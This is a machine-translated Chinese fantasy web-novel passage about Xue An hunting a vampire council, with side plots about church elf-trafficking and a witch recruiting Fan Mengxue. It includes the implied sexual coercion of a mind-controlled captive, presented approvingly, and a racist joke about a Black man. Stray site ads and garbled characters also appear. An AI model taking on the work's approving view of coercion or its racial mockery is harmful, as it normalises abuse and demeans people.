    This blood clan council is the most core holy place of the whole blood clan, where there are countless blood clan powerhouses.


    Xue An''s doing this is simply a naked provocation.


    Of course Quintina was a little worried.


    Xue An just smiled, "Slap them in the face? No, of course it''s not that simple. This Serena is a very important clue. I want to use her to directly find the location of the Blood Council!"


    "What?" Quintina was dumbfounded. She thought that Xue An was thinking about bringing out the Blood Council and defeating them one by one, but she didn''t expect that Xue An wanted to hit Huanglong directly and kill the blood holy land.


    Xue An��s eyes gleamed with excitement, ��Listen to what you said, the blood council is full of dukes, and the princes are the first and second generations of existence. That is simply a huge treasure of blood! I naturally want Go and harvest."


    Quintina lowered her head and dared not say anything.


    She has only one feeling, that is crazy!


    But at the same time, there was a faint expectation and excitement in her heart.


    After a few hours, Benedict walked out of the room in a comfortable mood, and his whole body was refreshed.


    Then Serena came out tremblingly.


    It''s just that Serena at this time has no arrogance and madness at the beginning, but only fear and humiliation.


    "How? Are you obedient?" Xue An asked lightly.


    Benedict nodded excitedly, then turned around, "Kneel down!"


    Serena shuddered and knelt down in humiliation.


    It''s not that she doesn''t want to resist, she has even tried suicide several times just now.


    But Xue An''s soul recognition is extremely domineering, so that she can''t even commit suicide, and can only be at the mercy of Benedict.


    "Call Master!"


    "Master!" Serena shouted stupidly.


    Xue An nodded, and then looked at Selena with interest, "Now, what I want to know is, where is your blood council!"

 Chapter 384： 1 net catch

    Serena trembled, her blank eyes gradually recovered her clarity, "What do you want to do?"


    "Asshole, dare to talk to an adult like this?" Benedict exclaimed.


    The pain from the soul level made Serena tremble all over, but she still stared at Xue An, wanting an answer.


    "After killing Aldington, I have been waiting for the masters in the Blood Council to appear, but the result disappointed me. It was only you three or two kittens."


    "My patience has been exhausted, so I am going to kill the kinship council and harvest all the kinship directly!"


    Xue An''s faint words made Serena stunned for a moment, and then a mocking smile gradually appeared on her face.


    "I admit, you are indeed powerful, but you are so arrogant, you want to destroy the entire blood council with your own power? That is just wishful thinking!"


    "Shut up!" Benedict roared angrily.


    The severe pain prevented Serena from speaking, but the ridicule in her eyes still existed, even more intense.


    Xue An slowly stood up and walked to Serena.


    "Don''t you believe it? Well, this time I will let you see with my own eyes how I slaughtered your blood council!"


    With that said, Xue An''s spiritual thoughts directly invaded Serena''s sea of ??consciousness, and directly found the information he needed from the countless complicated pictures.


    "Country s?" Xue An said softly.


    "You...what did you do to me? You are simply a devil!" Selena realized what Xue An had just done to herself, and she couldn''t help shouting in horror.


    This man allows his soul to recognize the Lord, and at the same time he can forcibly search his memory. These methods are even more devil than the devil.


    Xue An leaned slightly and said with a smile: "I feel honored to be called a devil by your blood."


    This is a magnificent church in the country, and it is also known as a church that will never be completed.


    The construction of this church began in the Middle Ages and has not ended yet.


    Standing under the dome of the church, countless pieces of multicolored glass refined with secret methods revealed the light like a church.


    Such a situation has made countless believers go crazy and call it a miracle of the God of Light.


    But only the bishop Gary here knew what was going on.


    "Remember, don''t use the Holy Light technique so frequently next time, after all, only the most pious believers are qualified to see the Holy Light!"


    "Yes! But Master Bishop, how can you tell who is the most devout believer?"


    Gary said lightly: "The more money donated, the more pious the believers are in the God of Light, do you understand?"


    "Yes!" The subordinates retreated convincingly.


    Gary stood up and was about to return to the lounge.


    A letterhead sealed by the secret method was sent over.


    When he opened it, his face couldn''t help but change.


    After a long time, he said solemnly: "Go and call Alonso over!"


    After a long time, Alonso rushed over, full of alcohol.


    "Gary, what can I do?"


    This Alonso used to be the deputy commander of the Knights of Light. He committed public anger because of his greed, and was finally assigned to the country by the Paladin to redeem his sins.


    Gary frowned slightly.


    Regarding the teaching level, he is the cardinal archbishop of the national diocese, and he is naturally higher than the exiled Alonso.


    But Alonso used to be a member of the Knights of Light and the subordinate of Lord Paladin, one of the four giants of the Church of Light, so he was always presumptuous in his words, and he never showed the respect he deserved.


    But now is not the time to care about this, he handed over one of the letterheads.


    Alonso took a look, but he was also slightly startled.


    "Two purple-clothed deacons and one scarlet-clothed executive all killed?"


    Jia Neishi nodded solemnly.


    "Strange, who has such a powerful strength in London? Is it the Dark Witch of the Dark Council? Or Titan? Or a man of the blood?" Alonso was hesitating.


    Gary said solemnly: "The latest news is that these three are going to capture two night elves!"


    "Night elf?" A silver evil smile appeared on Alonso''s face.


    "How could those soft female elves kill these three?"


    "So the chief judge will be furious and will strictly order us to investigate this matter!"


    Hearing the three words of the presiding judge, Alonso trembled, finally showing awe on his face.


    "It''s just a scarlet executive officer, how could it alarm the presiding judge?"


    "Hehe, this scarlet executive officer is a relative of the judge, so the judge will be so angry!"


    "Understood! Am I going to London now?"


    "Don''t worry, I''ll go with you! This incident happened to be an opportunity. This group of night elves is getting more and more cunning and harder to catch! We haven''t sent any fresh goods for a long time, and many adults already know this. Microwords!"


    "So I decided to take this opportunity and we will kill all these night elves!" When he said this, Gary''s eyes flashed with greed.


    Every night elves can sell at sky-high prices on the black market!


    Countless rich people are full of interest in this mysterious and long-lived creature, which is also meek and beautiful.


    Especially among the high-levels of the Bright Church, many big figures are also very interested in these night elvesThe cardinal of Gary has been able to capture a lot of good goods because of his previous capture, and this is the result .


    In fact, his abilities are not enough to be a bishop of one party.


    This also made many people jokingly call him the bishop of the elves.


    This is also the reason why Alonso has not always valued him.


    So Gary''s heart has been holding back.


    This time, I will kill all the elves in one go. Then, as long as you can take these credits one step further, and see who of you dare to laugh at me!


    At the same time, in a small town in Europe.


    When the film directed and acted by Fan Mengxue was finished, there was thunderous applause in the venue.


    Many famous film critics stood up to applaud, and paid the highest respect to this woman from a distant eastern country.


    "Wonderful, simply wonderful, this movie is the most exciting one I have seen this year!"


    "I don''t agree with you. In my opinion, this should be the most exciting movie in the past ten years. To be honest, I''ve had enough of those clich�� movie routines, but this one by Miss Fan is just like one. The breeze makes me intoxicated infinitely!"


    These beautiful words almost drowned Fan Mengxue.


    Countless reporters squeezed forward desperately to interview Fan Mengxue.


    But after Fan Mengxue just nodded and smiled at everyone politely, she drifted away, leaving only Han Yao to deal with these crazy media.


    Fan Mengxue returned to the lounge, changed into casual clothes, put on big sunglasses, and walked out of the venue.


    In fact, she has never liked being crowded, and even hated standing in the spotlight.


    So she tried to avoid everything she could.


    Now, she is ready to enjoy her rare work and leisure time, and go to this authentic European town for a stroll!

 Chapter 385： Girl please stay

    Today happened to be a rally in this small town, and the street was full of stalls with all kinds of weird things.


    Someone once bought fine antiques from these humble old goods and sold them at sky-high prices.


    Since then, every time this kind of junk rally, there will be many people coming here.


    Today is no exception.


    The streets were crowded with people, and many people squatted on the ground to select valuable things.


    The stall owners all got together indifferently and drank coffee together.


    Only when people ask about the price, do they reply in strong English.


    Fan Mengxue finds it very interesting. This is different from those high-end hypermarkets. Walking here, you can feel the authentic taste of a small town.


    For example, this small gray-looking box, when opened, there is beautiful music inside, and the form is still purely mechanical.


    It may be because of Fan Mengxue��s unique temperament, so the stall owner actively said: "Beautiful lady, your eyes are so good, this music box is handed down by my grandfather!"


    "At the beginning, my grandfather was about to go to the battlefield of World War II. Before he left, his lover at the time gave him this thing. But when my grandfather came back unscathed on the battlefield, his lover had already been there for years. The flames of war are unknown!"


    "For so many years, he has been looking for his lover, and has not even married his life, but unfortunately, he never saw that girl again before he died!"


    "This box is a testimony of my grandfather''s innocent love, so I am going to show it out. If anyone asks, I will tell her this story!" The stall owner said with a sigh.


    Fan Mengxue''s eyes flickered slightly, as if he was moved by this fruitless love, so he whispered: "How much?" New 81 Chinese network update the fastest computer terminal: https://


    The stall owner''s eyes lit up, and he stretched out a finger, "One hundred euros!"


    Then he was ready to wait for Fan Mengxue''s counter-offer.


    But Fan Mengxue directly took out a large bill and handed it to the stall owner, and then asked a little dazedly: "Is love always like this?"


    The stall owner only took care of the joy on his face, he was slightly startled when he heard the words, and then he sighed, "Girl, love is so much like this. Few people are really lucky enough to wait for that person! But although my grandfather waited all his life, before he died He said, he does not regret it!"


    There were tears in Fan Mengxue��s eyes, and he took out another banknote and handed it to the stall owner, "Thank you! Although I know the story is false, I still want to say thank you!"


    After that, Fan Mengxue stopped paying attention to the embarrassed stall owner and turned and left.


    The stall owner stood there thinking for a while, "Is there any loophole in my story? Oh, forget it, anyway, the money is earned, let him go!"


    said, the stall owner took out an identical music box from his pocket and placed it on the stall, waiting for the next customer to sell the love.


    Fan Mengxue held the music box in her hand, feeling a little complicated.


    She is not a fool, so she can naturally hear the holes in this story.


    Grandfather was trapped by love and never married a wife.


    So where did this stall owner come from?


    popped out of the rock?


    But these are not important, the important thing is that Fan Mengxue was touched by this story.


    At this moment, she thought silently in her heart.


    If I can, I will bury my feelings for you in my heart, and...be the gravekeeper for a lifetime!


    At this moment, an old female voice sounded from behind.


    "Girl, please stay for a while, don''t you want to divination?"


    Fan Mengxue turned her head to look, and saw an old woman in a black cloak sitting in front of a dilapidated tent, looking at herself quietly.


    Fan Mengxue hesitated, "Are you calling me?"


    The old woman nodded, some light flickering in her deep eyes, "Girl, I am a witch, I can see that you have a heavy heart! If you can, I think I can show you the way!" Starting


    Fan Mengxue was originally wandering aimlessly, but now hearing this old woman''s words, he thought it was a liar who was all over the street, raking in the name of a witch.


    But the deep eyes of this old woman moved her.


    Fan Mengxue almost nodded,


    "Okay! Follow me, please!" The old woman got up and walked to the tent behind.


    Fan Mengxue hesitated slightly, then looked at the lively scenery around and the Xuanhe daylight, and followed in.


    The tent is dark, with a strong smell of herbs.


    The old woman stood in front of a crystal ball and whispered: "Girl, please put your hand on the crystal ball, then close your eyes, and silently read the questions in your heart, it will give you the answer!"


    Fan Mengxue nodded, stretched out his hand and gently placed it on the crystal ball, then closed his eyes, and began to silently think about the doubts in his heart.


    At this time, the old woman looked at Fan Mengxue with interest.


    This girl has a pure temperament, and more importantly, she also has a strong and pure dark atmosphere.


    This is why she called Fan Mengxue in the street.


    Especially now, black air gradually appeared in the crystal ball held by Fan Mengxue.


    This is the necessary ritual for the Dark Witch to select the descendants.


    The more black air, the better the aptitude of this person.


    Soon, these magic energy filled the crystal ball, and it was still increasing crazily.


    At this moment, the crystal ball seemed to be overwhelmed, and a crack appeared with a click.


    The eyes of the old woman were full of ecstasy.


    The aptitude of this girl is far stronger than she thought.


    Fan Mengxue opened her eyes suspiciously.


    She was meditating on her biggest doubt in her heart.


    But I didn''t feel anything at all. On the contrary, I felt a shock in my hands. After opening my eyes, I realized that the crystal ball was broken.


    Fan Mengxue''s heart sank, thinking that he had touched porcelain on purpose but the matter was over, and it was useless to say anything, so she smiled apologetically.


    "Excuse me, this crystal ball was broken by me, how much? I will pay for it!"


    But the old woman didn''t even look at the crystal ball, but looked at Fan Mengxue with piercing eyes.


    Fan Mengxue''s heart is straight. Isn''t this mysterious old woman mentally ill?


    At this moment, the darkness in the tent suddenly became dense, and the noise from the outside world had disappeared, and there was only silence.


    Looking for the old woman again, she has also disappeared.


    Fan Mengxue was shocked.


    is broken, are you in any trap?


    At this moment, a woman with a black face haunted her, slowly walking out of the darkness.


    This woman has a very good figure, wearing a very revealing witch costume, showing extremely slender legs, and wearing a pair of high heels under her feet. When she walks, she is swaying with a variety of styles, and the royal sister is full of style.


    Fan Mengxue was a little silly.


    "You...you are..."


    The woman giggled for a while, and then continued to say in that old voice: "Girl, are you trapped by love?"


    Fan Mengxue finally understood that she had met a real witch today, but her heart was relieved.


    "You... how do you know?"


    The Dark Witch said lightly: "I can feel the pain and confusion that pervades your heart. Apart from feelings, what else can make a woman like you inextricable?"

 Chapter 386： Blackening

    Fan Mengxue lowered his head, "You are right, I am really at a loss now, can you help me untie it?"


    The Dark Witch shook his head and sighed, "There are two things in this world that are incomprehensible, one is life and death, and the other is emotion! I''m sorry, I can''t help you!"


    Fan Mengxue''s face was sad, she had known that this would be the result.


    But the Dark Witch continued: "But I want to tell you one thing! The most important thing for a woman is to strengthen herself first. Only in this way can you be qualified to be equal to the one in your heart!"


    Fan Mengxue shook all over, and whispered softly: "How is it possible?"


    The Dark Witch smiled, "What is impossible? Imagine that when your strength is strong enough to control the entire world, you stand in front of him again, no matter who he is, then you can only use admiration. Looking at you with his eyes, then you will find that feelings are not made by begging, but by yourself!"


    Fan Mengxue looked blank.


    She had never thought about this, but the words of this dark witch reminded her that if she is really strong, can she help Xue An by his side?


    Fan Mengxue knows the origin of Xue An.


    One day he will leave the earth.


    When the time comes, if I have enough abilities, I can even follow him.


    Otherwise, you can only die alone on this earth.


    Thinking about it, Fan Mengxue gradually became excited, "You...can you help me?"


    The Dark Witch couldn��t help stepping forward, and said softly: "Girl, your aptitude is the most powerful of the people I have seen in the past few hundred years!"


    "As long as you want, I will make you the most powerful dark witch ever in this world!"


    Fan Mengxue did not hesitate, nodded lightly, but at the same time asked with some doubts: "Then...who are you?"


    The dark witch burst into laughter, and with the laughter, the black air on her face gradually disappeared.


    showed up, it turned out to be a very loli-like face.


    This is a very strong contrast with her imperial sister''s extremely hot body, and it even makes people want to laugh.


    Fan Mengxue''s mouth can''t help but a hint of smile appeared.


    The Dark Witch was aware of this and said angrily, "Don''t laugh, I am the King of Witches who has been in charge of the Dark Witch for a hundred years! I am also the current Speaker of the Dark Council. My real name is... Anastasia!"


    Fan Mengxue was stunned, "Dark Council?"


    Anastasia was very satisfied with Fan Mengxue''s expression and nodded with a smile, "Yes, this world is far more than simple on the surface. Now, I will tell you the real world hidden under the floating world!"


    Fan Mengxue did not tell Anastasia that the person she likes may have become the king of the world.


    At this moment, she suddenly wanted to become stronger.


    At least...it must be strong enough to stand behind Xue An, instead of asking him to solve anything!


    When Fan Mengxue left the tent, the sky was completely dark.


    Fan Mengxue walked slowly on the way back, and black light gradually appeared in his eyes.


    And the road behind her was gradually covered by the thick darkness.


    Xue An and a group of people set foot on the land of S country.


    Because they are not in a hurry, Xue An and his party came here by traveling train.


    During the ����, Xue An went back to the elves secret realm, and found that thinking and thinking were safe and sound, and that he and Isabella were already close as sisters.


    After seeing this, Xue An put down the packed food and came back.


    Country S is a very small country.


    The area is not even comparable to Beijiang.


    But because of the beautiful scenery and pleasant climate, countless tourists come here every year.


    An Yan took Xue An''s hand and looked around on the street, her face full of excitement and curiosity.


    "My husband, it''s so lively here!"


    "Husband, look over there, that man is so dark!"


    Because Thinking and Niannian are not around, An Yan temporarily got rid of the role of mother, so she has completely released herself in these two days, just like returning to the era of passionate love, super clingy.


    Xue An was very happy about it, and said with a smile: "Yeah! It''s so dark, it looks like a row of teeth is fine!"


    Xue An��s words made everyone in the group startled, and then they held back hard, not daring to laugh out loud.


    An Yan suppressed a smile even more, and whispered: "Husband, you really hurt your words sometimes!"


    Xue An spread his hands, "So what? He can''t understand Chinese anyway!"


    But at this moment, the tall black man turned his head and said angrily: "You are the one who has become a fine one!"


    is actually a round Chinese.


    Xue An can''t help being surprised, "You can actually speak Chinese?"


    "Nonsense, I grew up in China, and are my teeth really so white?" The **** man said aggrievedly.


    Xue An was a little bit dumbfounded, "Uh... it''s okay, it''s pretty anyway!"


    The **** man heard this and left with satisfaction.


    Waiting for him to leave.


    An Yan, Quintina and others couldn''t bear it, haha ??laughed.


    Xue An couldn''t help but smile.


    The sentiment of life lies in this, can''t always hold a pair of fairy statues.


    Only Serena, who has washed away the strange makeup and dressed like a student, has excitement and madness in her eyes.


    Hehe, I really dare to come and die Then I will fulfill you! Serena thought.


    Although Xue An knew from Serena''s mind that the Blood Council was located in Country S, if he wanted to enter, he had to wait until the night of the full moon before the entrance to the Blood Mountain would appear.


    Xue An and others first lived in the largest city in the S country, and then waited for the arrival of the full moon night.


    waited till night.


    There is even more excitement outside.


    Country S is an extremely free country and there are no prohibitions in many aspects.


    Therefore, when it comes to night, the feasting and feasting place is full of excited and curious eyes from tourists from all over the world.


    Such a night, staying in the hotel is naturally a waste.


    Xue An led An Yan and a group of people on the street again.


    S country cuisine is also very famous, at least much better than London.


    Xue An took everyone to dinner in a nice restaurant.


    Then Serena said mysteriously: "Master, I know there is a very interesting and exciting place here, do you want to go?" New 81 Chinese network update the fastest mobile terminal: https:/


    Xue An smiled, "If it''s a *shop, forget it, I''m not interested!"


    "Of course it''s not that kind of place, but what I''m talking about is the most exciting and blood-spraying place in Europe at night!" New 81 Chinese Net, the fastest computer terminal: https://


    Xue An looked at Serena with a mysterious face, and slowly laughed, "Okay, then go see it!"

 Chapter 387： Drag racing with blood

    This is a ring road on the outskirts of the city.


    The population of s country is small, so at night, the slightly more remote places are almost off the beaten track.


    But in the middle of the night, this highway is very lively.


    The bright searchlight illuminates this place like day.


    Hundreds of heavy-duty locomotives of various shapes gathered here.


    The roar of the engine one after another, the air is filled with choking tire rubber smell and strong smell of exhaust gas.


    Riding on the car were young men with indifferent expressions and indifferent faces, and there was often a beautiful woman in short shorts sitting behind him.


    When Serena led Xue An and others to here, she couldn''t help attracting many sulky eyes.


    Serena didn''t pay attention to these people at all, but excitedly shouted: "Andre, I know you are here, don''t you show up yet?"


    Following the voice, the crowd parted a road, and a giant locomotive with a length of three meters roared and rushed towards it, so fast that it even left many phantoms behind.


    Serena was not at all flustered, and even madness and excitement appeared on her face.


    Click.


    The locomotive suddenly braked when it was a few meters away from Serena, and the front of the locomotive even touched Serena''s clothes, and it was able to stop.


    Then I heard the person in the car lightly saying: "It really is you! Selena, why did you change into such a dress?"


    The speaker was a blond man with grim facial features, wearing a decently tailored high-end gown, sitting on the motorcycle with a look of arrogance.


    Serena smiled nervously, "What? Isn''t it pretty?"


    Andre shook his head, "To be honest, it''s disgusting!"


    Then he looked at Xue An and others standing behind Selena with a fierce look.


    When he saw the curious An Yan and the dignified Quintina, his eyes lit up, and then he said coldly.


    "Who are they?"


    Serena smiled, "These are all my friends!"


    "Friend?" There was a sneer at the corner of Andre''s mouth, and he pointed at Quintina.


    "Except for a blood count, the rest are humble humans. You actually said that they are all your friends? When did the famous little witch Serena, the strong man of the blood marquis, become so friendly?"


    Andre spoke extremely arrogantly.


    The crowd behind him let out a loud laugh, and then everyone''s eyes gradually turned into a mysterious red color.


    These locomotive men are all kinsmen.


    And every strength is good, the lowest is also the earl level.


    As for Andre, he exudes a powerful aura and is a powerhouse of the rank of Marquis.


    This kind of momentum made Quintina and the others all overwhelmed.


    Serena licked her lips excitedly, wanting to see how Xue An responded.


    She came here with Xue An and others on purpose.


    Although this Andre is only the strength of the Marquis, his father is a big figure in the blood council.


    Serena wanted to get rid of Xue An by Andre''s hand.


    Xue An did not answer Andre''s words, but looked at the locomotive under his crotch with interest.


    "A group of blood races are racing here every day? It''s really interesting!"


    Some kinsmen snorted and said disdainfully: "Humans, do you think our kinship drag racing will be like yours? These locomotives have been violently modified, and the speed is several times that of ordinary locomotives! Like you, fragile humans. , Can''t control it at all!"


    "Oh?" Xue An raised his eyebrows slightly, showing some interest.


    Andre suddenly pointed at Xue An at this time, and said condescendingly: "Humans, are you interested in comparing with me?"


    "Compared to what?" Xue An said.


    "Naturally it is better than a locomotive. If I win, then your female companion and the blood count will stay!" Andre said coldly.


    "Then what if I win?" Xue An said lightly.


    Xue An''s questioning drew a lot of laughter.


    "You still want to win Andre?"


    "Hehe, this human being doesn''t even have a chance to see the rear lights of His Excellency Andre!"


    In these voices, Andre proudly said: "If I lose, do whatever you want!"


    Xue An smiled slightly, nodded, and then took a deep look at Serena.


    "As you said, this place is really good."


    After seeing Xue An''s smile, Serena, who had originally felt a little sure, suddenly felt a little bit more senseless.


    Xue An turned his head to look at Yan''er again, smiled and said, "Yan''er, my husband will take you for a drive."


    An Yan nodded without hesitation, "Hmm!"


    At this time, a kinsman had already donated his locomotive.


    This is a red locomotive with a length of more than two meters, and the roar of the engine can show the terrifying performance of this car.


    Xue An turned over the car, An Yan sat behind him obediently.


    Xue An twisted the throttle and the engine roared instantly.


    Xue An''s eyes lit up slightly, and he said with interest: "You are actually creative when you use runes on modified locomotives!"


    Xue An''s words made Andre a little startled, and the expression on his face became a little more solemn.


    This guy can actually see the hidden secrets of these locomotives, obviously not ordinary people.


    As Xue An said The key parts of these locomotives are all engraved with blood runes, and even in the core parts such as the engine, various secret techniques are added.


    This has created these performance monsters.


    Andre said solemnly at this time: "Are you ready?"


    Xue An smiled slightly, "Wait a minute!"


    Then turned his head to look at the blood family who borrowed his locomotive, "Excuse me, where is the brake?"


    This sentence left the surroundings in dead silence, and after a while, all the blood races burst into laughter.


    "Gosh, this human being is not here to be funny!"


    "I don''t know anything, so I dare to race with His Excellency Andre? It''s really looking for death!"


    Even Quintina, who was full of confidence in Xue An, couldn''t help but violently beat her eyelids.


    Only An Yan, still indifferent.


    At this time the kinsman sneered and said, "This car doesn''t brake at all."


    This is what this blood clan said on purpose.


    Xue An smiled slightly, "That''s good!"


    Then turned to look at Andre.


    "I''m ready, let''s start!"


    Andre snorted, thinking that Xue An was purely looking for death.


    But An Yan''s amazing beauty made him a little uncontrollable, so he turned the accelerator with a grinning smile.


    "Don''t blame me when you die!"


    With that, someone started to count down.


    "three!"


    "two!"


    "One!"


    "Start!"


    As the voice fell, Andre''s car rushed out like an arrow from the string.


    Xue An was slow for a full second.


    In front of this monster with a speed of at least thousands of kilometers per hour, a gap of one second is like a moat.


    Many kinsmen made a burst of laughter, all thinking that Xue An had lost.


    Serena let out a sigh of relief.


    As long as Xue An loses the game, he can beg Andre for help.

 Chapter 388： Than speed, who can be faster than my sword?

    At this moment, Xue An''s speed has reached an astonishing one thousand kilometers per hour.


    Most people don''t even control the locomotive at such a fast speed, and it is estimated that they will be directly blown out by the strong wind.


    The street lights on both sides of the road have even become a line at this speed.


    Xue An took the time to use a wisp of sword light to prop up the strong wind in front of him, then slightly narrowed his eyes and whispered: "Yan''er, are you afraid?"


    An Yan shook her head and put her hand around Xue An''s waist, "Don''t be afraid!"


    Xue An smiled, "Then hold me tight! Watch my husband and I will take you off!"


    Hearing this, An Yan leaned his head on Xue An''s back, feeling peaceful.


    As long as Xue An is there, she is not afraid of anything.


    Xue An''s throttle has been screwed to the bottom, and the speedometer soared upwards by more than a hundred kilometers, finally reaching a speed of 1,200 kilometers per hour.


    At this speed, it is already worth breaking through the speed of sound.


    The whole car has turned into a streamer, and it is speeding on the ring road.


    Gradually, Xue An saw Andre''s rear light in the distance.


    Andre at this moment, his face is full of hideousness.


    He also felt Xue An rushing from behind, which made him a little unbelievable.


    Was he actually caught up by a human being?


    This is simply unbearable.


    Therefore, he gritted his teeth and suddenly screwed the throttle to the bottom again, and the giant locomotive under his crotch made a terrifying roar.


    The speed of the entire car has suddenly increased by a big margin.


    boom!


    The giant locomotive broke through the sound barrier and reached a shocking speed of 1,500 kilometers per hour.


    Andre grinned in his heart.


    This speed can be withstood by such powerful creatures as the blood clan.


    It is impossible for humans to break through the limits of the sound barrier.


    What''s more, my own locomotive was made using many secret methods, which is not comparable to Xue An''s car.


    But his pride lasted only a few seconds.


    Then he found that the engine roar came from behind.


    In a moment of stunned effort.


    Xue An''s locomotive has whizzed past him.


    The speed seems to have become a light.


    But the astonishing dynamic vision of the blood family made Andre clearly see that Xue An actually held the handle with one hand while galloping past him, and even turned his head and smiled at himself.


    It''s just that the smile is full of nakedness and condescending.


    It was as if a high emperor was examining the ants.


    This kind of contempt from the depths of the soul made Andre almost mad.


    how is this possible!


    How could one lose to a humble human?


    Andre roared, his eyes suddenly turned blood red, and three pairs of wings stretched out behind him.


    Andre used the strength of the Marquis of the Blood Race to win Xue An.


    With his body''s ability, it can even reach five times the speed of sound.


    However, under the restrictions of locomotives, it is certainly impossible to achieve that fast.


    But under Andre''s full urging, the speed rose sharply, eventually breaking through the speed of two thousand kilometers per hour.


    At this speed, he is even faster than the average military aircraft.


    This has also reached the speed limit of locomotives.


    Therefore, he rushed to Xue An easily.


    Andre grinned grimly.


    The victory really belongs to the noble blood!


    But at this moment, Xue An said calmly: "It''s as if you can fly!"


    With that, countless sword lights flew up, and then wrapped on the locomotive.


    On speed.


    Among the heavens, who can be faster than the sword repaired by the sword?


    Xue An has even seen the existence of a big world with one sword cut in between.


    Although the strength has not yet recovered to that level, it is faster than Xue An in this world.


    Under the sword light''s possession, the locomotive suddenly turned into a white streamer and began to rise at an astonishing speed.


    two thousand����.


    Three thousand!


    four thousand!


    In the end, Xue An''s speed reached 5,000 kilometers per hour.


    A highway around the city, Xue An turned around in the blink of an eye.


    And the many blood races who were onlookers at the high speed were dumbfounded at this moment.


    They can only see now that there are two streamers chasing each other above the high speed.


    The two streamers, one red and the other white, went hand-in-hand at the beginning, but when they waited behind, the white light suddenly began to rush.


    In the back, even the kinsmen couldn''t see how fast it was, and could only hear a huge roar like a fighter plane in the night sky.


    Andre was already stunned.


    He stared at Xue An, who seemed to be strolling in a leisurely courtyard, blankly.


    Is this... still human?


    This is meaningless in the game.


    Xue An pulled Andre dozens of times in the blink of an eye.


    Therefore, after a few more turns, Xue An was somewhat uninterested.


    "Okay, stop playing!"


    As Xue An said, the locomotive galloped toward the high-speed exit.


    This group of kinsmen were all frightened by the white streamer that rushed in.


    If you run into such a speed, even the blood will be seriously injured!


    Is this human being crazy?


    At this moment, I saw the white streamer suddenly slowed down, and then circled the field several times, the speed dropped to the point where everyone could see clearly.


    However, the locomotive at this time was completely different, and the entire car was flushed red by air friction because of the excessively high speed.


    The blood clan who lent the car to Xue An was even more stunned at this moment.


    suddenly!


    He remembered something, and hurriedly shouted: "The brake is on the one on the left foot..."


    Xue An smiled faintly, "No need!"


    With that, Xue An and An Yan have fallen on the ground.


    And that car, after flying for a while under the effect of inertia, it crashed into pieces.


    This blood family simply wanted to cry without tears.


    It took him countless efforts to make this locomotive.


    Is it so broken?


    At this time, Andre had also drove off the highway. After the car stopped, he got out of the car with a sullen expression and stared at Xue An.


    Xue An smiled faintly, but looked at Serena, who was full of horror on the side.


    "It seems... your wishful thinking has failed again!"


    Serena trembled all over.


    Andre was already annoyed and said: "Human, you have defeated me by despicable means, and I will make you pay!"


    Quintina couldn''t help but said: "You are a despicable means to win? You are really big-faced!"


    Xue An waved his hand and motioned Quintina to stop talking, and then smiled slightly, "I just thought this locomotive was a bit interesting, so I played with you. Now...the game is over!"


    Andre and all the kinsmen all sneered, and there was a ruthless look on their faces.


    "You say it ends and it ends? It''s so blatant..."


    The following words stopped in the throats of Andre and the others, unable to speak at all.


    Because they are all dumbfounded.


    I saw white flames emerging behind Xue An.


    Under the white light, Xue Ansen smiled, "I''ll send you to hell!"

 Chapter 389： Non-my family, its heart must be different

    Non-my family, its heart must be different.


    This sentence is a truth cast with countless blood.


    Therefore, Xue An has no mercy towards these blood races.


    The white flame turned into a sea of ??flames, and went straight to these blood races.


    Except for Andre, the other blood races didn''t even support the past, and they were all burned into ashes by this flame.


    Andre was also tainted with a ray of flame, although he quickly used a lot of healing blood spells.


    But the flame was like a tarsal maggot, directly burning through the blood of his bodyguard, and began to spread rapidly.


    Andre was so frightened that he threw out a piece of pale golden parchment.


    "My father, save me!"


    boom!


    A majestic breath appeared between the heaven and the earth, and a phantom of the blood family with five pairs of golden wings behind it appeared in the air.


    This is Andre''s life-saving trick.


    A secret text that can summon the phantom of the blood prince level.


    Although this is just a phantom, Quintina and Serena, who are still oppressive with a powerful aura, retreat.


    Andre grinned grinningly, "Despicable human beings, you actually have the flames of light. With this alone, I will smash you into pieces! Take it to death!"


    As he said, the phantom wings of the blood prince fluttered and appeared in front of Xue An in an instant.


    The speed is as fast as traveling through time and space.


    Then the wings of the phantom combined, and countless blood lights wrapped Xue An in it.


    "My lord!" Quintina exclaimed.


    Serena let out a sigh of relief.


    Just die!


    As long as this man dies, the soul recognition in his body will be solved.


    But at this moment, that powerful blood prince phantom exploded.


    Countless blood light fragments were directly burned into nothingness by the white flame.


    And Xue An walked slowly from it and smiled at the dumbfounded Andre, "Unfortunately it''s just a phantom, otherwise you can condense the blood beads!"


    Andre trembled all over, and turned to run.


    But Xue An emptied his palm and said lightly: "Ning!"


    Andre felt that all the space around his body had suddenly become so hard that he couldn''t move a bit.


    "No... my father is a member of the blood clan, if you dare to kill me! He won''t let you go!"


    Andre looked at Xue An, who was slowly approaching, and shouted in horror.


    Xue An shook his head, his eyes flickered, "What I hope is that your father can come to me!"


    As he said, the endless flames swallowed Andre, and burned him into nothingness in the blink of an eye, and a blood drop appeared in Xue An''s hands.


    It''s another marquis blood bead.


    Xue An didn''t even look at it, and threw it to Quintina, then turned to look at Serena.


    After seeing Xue An''s indifferent gaze, Serena was frightened and cold.


    "You... kill me!"


    Serena is not afraid of death, she is afraid of Xue An''s endless devil-like methods.


    Xue An smiled faintly, "It seems that I made a mistake. Your soul is still not firm enough to recognize the Lord."


    "No, please kill me, I..." Serena was terrified.


    With a flick of Xue An''s finger, a light spot floated out of Serena''s forehead and flew directly into Benedict''s mind.


    Serena''s face instantly appeared blank, and then gradually returned to normal.


    Then he knelt respectfully at Benedict, gently kissed Benedict''s shoes, and said respectfully: "Master!"


    There is no longer the arrogance and rebelliousness before.


    And in the blood mountain.


    The blood prince Andrew suddenly trembled, and a shock of blood appeared in his eyes.


    "My lord, what makes you so angry?" The butler walked over and asked softly.


    Andrew''s expression changed, "Someone killed my descendant Andre!"


    "Master Patriarch, please calm down, is it a member of the Bright Church?" the housekeeper asked.


    "I don''t know, but recently there have been incidents among the kinsmen. When the Council on the Night of the Full Moon is held, I must explain this to you Lord Speaker!" Andre said in a deep voice.


    London.


    Gary stood in front of the hotel window, overlooking the brightly lit city, and sighed helplessly.


    "It''s really a headache city! It''s complicated, and it also hides dirt!"


    Alonso agreed.


    In fact, from the Middle Ages.


    The city of London is the main battlefield for light and darkness.


    No power can really control it.


    The only thing that can be done is to maintain a delicate balance.


    Therefore, compared to other cities with powerful light forces, in London, the identity of the cardinal archbishop Gary is not so easy to use.


    "Check it slowly first!" Gary said.


    "Good!" Alonso replied.


    European town.


    "Curse!" As Fan Mengxue shouted.


    A gray light flew from Fan Mengxue''s palm.


    Happiness!


    Anastasia clapped and walked over in admiration.


